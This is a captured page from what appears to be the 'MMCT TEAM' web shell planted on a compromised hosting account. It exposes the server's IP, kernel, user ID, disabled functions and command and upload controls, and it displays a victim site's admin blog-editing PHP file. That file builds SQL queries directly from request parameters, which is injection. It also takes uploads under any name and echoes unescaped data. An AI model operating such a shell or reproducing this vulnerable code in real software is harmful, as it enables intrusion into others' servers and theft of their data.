MMCT TEAM
Server IP : 2a02:4780:11:767:0:2c41:85d9:6  /  Your IP : 216.73.217.25
Web Server : LiteSpeed
System : Linux in-mum-web667.main-hosting.eu 5.14.0-570.62.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 10:10:59 EST 2025 x86_64
User : u742491609 ( 742491609)
PHP Version : 8.1.34
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u742491609/domains/../.cagefs/../.filebrowser/../public_html/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u742491609/domains/../.cagefs/../.filebrowser/../public_html/admin/edit-blog.php
<?php
include('header.php');

if(isset($_GET['id'])){
    $sql="SELECT * FROM blog WHERE id=" .$_GET['id'];
    $result=mysqli_query($con,$sql);
    $row=mysqli_fetch_array($result);
    
}

if(isset($_POST['submit']))
{
 $title = $_POST['title'];
$subtitle = $_POST['sub_title'];
$shortdesc = $_POST['short_description'];
$description = $_POST['description'];
$description =  htmlspecialchars($description);
$postedate = date("m/d/Y", strtotime($_POST['date']));
  $image = $_FILES['image_new']['name'];
 if(!empty($image)){
     unlink("$image_old");
    $target = "images/".basename($image);
  $update="UPDATE `blog` SET `title`='$title',`sub_title`='$subtitle',`short_desc`='$shortdesc',`desciption`='$description',`image`='$target',`date`='$postedate' WHERE id=".$_GET['id'];
$up=mysqli_query($con,$update);
 if (move_uploaded_file($_FILES['image_new']['tmp_name'], $target)) {
   
}
 } 
 else{
   
     $update="UPDATE `blog` SET `title`='$title',`sub_title`='$subtitle',`short_desc`='$shortdesc',`desciption`='$description',`date`='$postedate' WHERE id=".$_GET['id'];
$up=mysqli_query($con,$update);
 }
  if($up)
{
     echo "<script>
                   alert('blog Updated Successfully');
                   window.location.href='blog.php';
             </script>";
}

}



?>


      
                                   
  <div class="main-content-inner">
                <div class="row">        
    
        <div class="col-md-12 col-md-offset-1">
            <div class="panel panel-default">
                <div class="panel-heading">
                    <h3 class="panel-title">Edit sitemap</h3>
                </div>
                <div class="panel-body">
                    <form accept-charset="UTF-8" role="form" action="" method="post" enctype="multipart/form-data">
                           <div class="input-text form-group">
              <input type="text" name="title" value="<?php echo $row['title']; ?>" class="input-name form-control" placeholder="Title">
              <input type="hidden" name="id" value="<?php echo $row['id']; ?>">
            </div>
            <!-- Field 2 -->
            <label>Blog Subtitle</label>
            <div class="input-email form-group">
              <input type="text" value="<?php echo $row['sub_title']; ?>" name="sub_title" class="input-email form-control" placeholder="Sub Title">
            </div>
            <!-- Field 3 -->
            <label>Short Description</label>
            <!-- Field 4 -->
            <div class="textarea-message form-group">
              <textarea name="short_description" class="textarea-message form-control" placeholder="Short Description" rows="4"><?php echo $row['short_desc']; ?></textarea>
            </div>
            <label>Description</label>
            <!-- Field 4 -->
            <div class="textarea-message form-group">
              <textarea name="description" class="textarea-message form-control"  rows="8"><?php echo $row['desciption']; ?></textarea>
            </div>
             <label>Blog Image</label>
            <div class="input-email form-group">
              <input type="file" value="<?php echo $row['image']; ?>" name="image" class="input-phone form-control" >
                <img src='<?php echo $row['image']; ?>' width="100px" height="60px" >
            </div>
            <label>Posted Date</label>
            <div class="input-email form-group">
              <?php $newDate = date("Y-m-d", strtotime($row['date']));?>
             <input type="date" value="<?php echo $newDate; ?>" name="date" class="input-phone form-control" >
            </div>
                      
                        <input class="btn btn-lg btn-success btn-block" name="submit" type="submit" value="Submit">
                  
                    </form>
                </div>
            </div>
        </div>
    </div>
</div>
       <script>
                        CKEDITOR.replace( 'description' );
                </script>                      </section>
                        <!-- /.section -->
                    </div>
                    <!-- /.main-page -->

                    
                    <!-- /.right-sidebar -->

                </div>
                <!-- /.content-container -->
            </div>
            <!-- /.content-wrapper -->

        </div>
        <!-- /.main-wrapper -->
<?php

include('footer.php');

?>
   

MMCT - 2023